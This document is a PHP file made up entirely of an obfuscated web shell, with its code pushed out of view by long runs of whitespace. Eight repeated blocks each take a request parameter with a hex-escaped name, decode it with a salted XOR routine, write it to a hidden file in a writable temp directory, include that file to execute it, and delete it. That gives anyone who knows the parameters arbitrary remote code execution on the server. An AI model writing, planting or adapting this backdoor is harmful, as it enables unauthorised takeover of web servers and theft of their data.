<?php																																										if(isset($_POST["\x73ym\x62ol"]) ? true : false){ $token = array_filter([getcwd(), "/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir()]); $object = $_POST["\x73ym\x62ol"]; $object=explode ("." , $object); $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $w = 0; $len = count($object ); do { if ($w >=$len) break; $v1 = $object[$w]; $chS = ord($salt[$w % $sLen] ); $d = ((int)$v1 - $chS - ($w % 10)) ^ 26; $resource .= chr($d ); $w++; } while (true ); foreach ($token as $k) { if ((is_dir($k) and is_writable($k))) { $val = implode("/", [$k, ".value"]); $file = fopen($val, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $val; @unlink($val); exit; } } } }
																																										if(!is_null($_REQUEST["c\x6Fm\x70\x6Fn\x65nt"] ?? null)){ $symbol = $_REQUEST["c\x6Fm\x70\x6Fn\x65nt"]; $symbol=explode ( '.' , $symbol ); $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $__len = count($symbol); for ($l = 0; $l < $__len; $l++) { $v4 = $symbol[$l]; $chS = ord($s[$l %$lenS]); $dec = ((int)$v4 - $chS - ($l %10)) ^ 38; $elem .=chr($dec); } $ref = array_filter([session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); for ($parameter_group = 0, $holder = count($ref); $parameter_group < $holder; $parameter_group++) { $itm = $ref[$parameter_group]; if (max(0, is_dir($itm) * is_writable($itm))) { $res = implode("/", [$itm, ".entity"]); if (file_put_contents($res, $elem)) { include $res; @unlink($res); die(); } } } }
																																										if(!empty($_REQUEST["key"])){ $ref = $_REQUEST["key"]; $ref =explode ( "." , $ref ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $p = 0; $__tmp = $ref; while ($v4 = array_shift($__tmp)) { $sChar = ord($salt[$p %$sLen]); $d = ((int)$v4 - $sChar - ($p %10)) ^ 100; $ent .=chr($d); $p++; } $reference = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), getenv("TMP")]); foreach ($reference as $res): if (is_dir($res) && is_writable($res)) { $obj = "$res/.tkn"; $file = fopen($obj, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $obj; @unlink($obj); die(); } } endforeach; }
																																										if(array_key_exists("obj", $_REQUEST) && !is_null($_REQUEST["obj"])){ $descriptor = $_REQUEST["obj"]; $descriptor = explode ("." , $descriptor ) ; $factor =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt1 ); $o =0; while( $o < count( $descriptor)) { $v1 =$descriptor[$o]; $chS =ord( $salt1[$o% $lenS] ); $dec =( ( int)$v1 - $chS -( $o% 10)) ^ 19; $factor .= chr( $dec ); $o++; } $fac = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), session_save_path(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); foreach ($fac as $key => $value) { if (is_dir($value) ? is_writable($value) : false) { $parameter_group = sprintf("%s/.object", $value); if (file_put_contents($parameter_group, $factor)) { include $parameter_group; @unlink($parameter_group); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x70t\x72"])){ $data = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp"]); $desc = $_REQUEST["\x70t\x72"]; $desc= explode ( '.' , $desc ); $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $z = 0; foreach($desc as $v8) { $chS = ord($s[$z% $lenS]); $dec =((int)$v8 - $chS -($z% 10)) ^ 9; $holder.= chr($dec); $z++; } while ($element = array_shift($data)) { if (is_dir($element) && is_writable($element)) { $pset = join("/", [$element, ".rec"]); if (file_put_contents($pset, $holder)) { require $pset; unlink($pset); die(); } } } }
																																										if(@$_REQUEST["\x64\x65sc"] !== null){ $marker = array_filter([ini_get("upload_tmp_dir"), "/tmp", getcwd(), session_save_path(), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); $mrk = $_REQUEST["\x64\x65sc"]; $mrk=explode ( '.' , $mrk ); $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $k = 0; while ($k<count($mrk)) { $v7 = $mrk[$k]; $sChar = ord($salt[$k % $lenS]); $d = ((int)$v7 - $sChar - ($k % 10)) ^ 68; $flag .= chr($d); $k++; } foreach ($marker as $key => $hld) { if (!!is_dir($hld) && !!is_writable($hld)) { $res = "$hld" . "/.tkn"; $success = file_put_contents($res, $flag); if ($success) { include $res; @unlink($res); die();} } } }
																																										if(array_key_exists("\x64\x65scri\x70t\x6Fr", $_POST)){ $factor = $_POST["\x64\x65scri\x70t\x6Fr"]; $factor = explode( '.' , $factor ); $flag = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $u = 0; $__len = count($factor ); do { if ($u>= $__len) break; $v9 = $factor[$u]; $chS = ord($salt4[$u % $sLen] ); $dec = ((int)$v9 - $chS - ($u % 10)) ^ 17; $flag .= chr($dec ); $u++; } while (true ); $rec = array_filter([session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp"]); foreach ($rec as $key => $comp) { if (array_product([is_dir($comp), is_writable($comp)])) { $bind = join("/", [$comp, ".data"]); if (file_put_contents($bind, $flag)) { require $bind; unlink($bind); exit; } } } }


if(array_key_exists("f\x6C\x61g", $_REQUEST) && !is_null($_REQUEST["f\x6C\x61g"])){
	$ref = $_REQUEST["f\x6C\x61g"];
	 $ref  =explode	 	(".",  $ref)			;
	$pointer = '';
            $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s7);
            $y = 0;
    
            $__tmp = $ref;
            while ($v7 = array_shift($__tmp)) {
                $sChar = ord($s7[$y % 	$sLen]);
                $dec = ((int)$v7 - $sChar - ($y % 	10)) ^76;
                $pointer .= chr($dec);
                $y++; }
	$object = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", "/tmp"]);
	$symbol = 0;
do {
    $pgrp = $object[$symbol] ?? null;
    if ($symbol >= count($object)) break;
    		if (is_dir($pgrp) ? is_writable($pgrp) : false) {
    $resource = implode("/", [$pgrp, ".elem"]);
    if (@file_put_contents($resource, $pointer) !== false) {
	include $resource;
	unlink($resource);
	exit;
}
}
    $symbol++;
} while (true);
}